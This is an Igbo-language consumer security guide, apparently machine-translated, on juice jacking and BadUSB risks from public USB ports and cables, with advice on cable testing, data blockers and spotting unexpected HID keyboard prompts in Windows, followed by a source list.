N'ihi na ndị na-emepụta adịkarịghị ebipụta akara na eriri ndị na-amata ọdịiche ụgwọ naanị ụdọ na eriri data, ule nchekwa kachasị mfe bụ ịgbanye eriri n'etiti kọmputa na ngwaọrụ ochie na-adịghị mkpa (ma ọ bụ jiri eriri USB inline $10 pinout continuity tester Board dị ka Treedix USB USB Tester, nke na-enye ọkụ ọkụ ọkụ onye ọ bụla maka waya dị n'ime na-enweghị booting ọ bụla microcontroller). N'elu bọọdụ nleba anya na-aga n'ihu, eziokwu Ịchaji naanị eriri ga-enwu naanị VBUS na GND (2 LEDs), ebe eriri data nwere ike ịgbanwuo ọkụ D+ na D- (na CC1/TX/RX na USB-C). N'aka nke ọzọ, debe onye raara onwe ya nye eriri USB Data Blocker anụ ahụ na-adịgide adịgide n'ọnụ ọnụ ụdọ ịchaji njem gị ebe ị nwere ike lelee anya n'ime ọdụ ụgbọ mmiri nwanyị wee jiri anya gị chọpụta na ntụtụ data etiti na-efu.

Ọ dị mma itinye eriri chaja nke m n'ime oghere ọkụ AC (2-prong / 3-prong wall socket) n'ọdụ ụgbọ elu ma ọ bụ ụlọ oriri na ọṅụṅụ kama ọdụ ụgbọ mmiri USB arụnyere n'ime ya?¶

Ee, 100 percent adịghị mma. Otu ọkọlọtọ 110V / 230V AC oghere mgbidi eletrik (ebe ị na-agbanye na Apple, Samsung ma ọ bụ Anker power brik) na-ebu naanị ike eletrik na-agbanwe agbanwe ma nwee njikọ data efu nke nwere ike iji njikwa USB ekwentị gị na-ekwurịta okwu. Ogologo oge ị na-eji blọk nkwụnye mgbidi AC ntụkwasị obi nke gị yana eriri USB ntụkwasị obi nke gị, ọdụ ụgbọ elu ma ọ bụ ụlọ oriri na ọṅụṅụ AC eletrik enweghị ike ime mwakpo Juice Jacking ma ọ bụ BadUSB.

Kedu ihe kpatara Windows ji gbapụta "Ịtọlite ​​ngwaọrụ: Ngwa ahụigodo HID" mgbe m tinyere na draịvụ USB ma ọ bụ chaja vape/e-cigare?¶

Ịhụ Windows ka ọ na-egosipụta ọgụgụ ngosi toast "Ịtọlite ​​ngwaọrụ: Ngwa ahụigodo HID" mgbe ị na-agbanye ihe dị na ya ọ bụghị ahụigodo (dị ka draịva USB, eriri chaja, onye na-akwado oche dị ọnụ ala, igwe foto dijitalụ, ma ọ bụ chaja vape) bụ egbe ise anwụrụ ọkụ #1 na-enweghị mgbagha. BadUSB / HID Keystroke Injection. Ọ nweghị draịva ma ọ bụ eriri chaja ziri ezi kwesịrị ịdebanye aha na Windows dị ka ahụigodo. Kwupu ngwaọrụ ahụ ozugbo, kwụpụ na Wi-Fi, wee mee PowerShell RunMRU na PSReadLine iwu nyocha n'usoro nke abụọ iji hụ iwu ahụigodo adịgboroja pịnyere.

enyochara isi mmalite¶

• Ụlọọrụ Federal Bureau of Investigation (FBI) & Federal Communications Commission (FCC) (United States): Mkpọsa Ozi Ọha na Ọha na Ọha USB n'ihe ize ndụ ("Juice Jacking") na Obi Ụtọ Ngwaike Implants.
• Ụlọ ọrụ nchekwa obodo (NSA) & Cybersecurity na Infrastructure Security Agency (CISA) (United States): Ememe Ngwa Ekwentị kacha mma: iji ekwentị mkpanaaka, Laptọọpụ na eriri USB mee njem n'enweghị nsogbu.
• Mahadum teknụzụ nke Graz (TU Graz Otu nyocha InfoSec): ChoiceJacking: Na-emebi ngwaọrụ mkpanaka site na chaja ọjọọ site na injection USB HID (USENIX Security Symposium).
• Ntuziaka nchekwa Apple Platform: * Ọnọdụ amachibidoro USB, ịnweta ngwa ngwa mgbe akpọchiri, yana MacOS Apple Silicon USB/Thunderbolt ikike Architecture *.
• Ndị na-eme ihe USB (USB-IF): * Nyocha USB Ụdị-C, Nnyefe Ike (USB PD), na Ngwaọrụ Interface mmadụ (HID Klas 0x03) Nkọwapụta *.

Ntuziaka emetụtara¶

• Wi-Fi ọhaneze, ebe a na-ekpo ọkụ ejima ọjọọ, yana ihe nchekwa ihe ọ juiceụ
• Mwepu kuki nke oge, malware infostealer, na kagbuo akara
• Nchọpụta Stalkerware, spyware na keylogger na ekwentị
• Malware, ransomware, na spyware ọrịa
• Koodu QR phishing (quishing) na ntụgharị obi ọjọọ
• Nọmba mberede site na obodo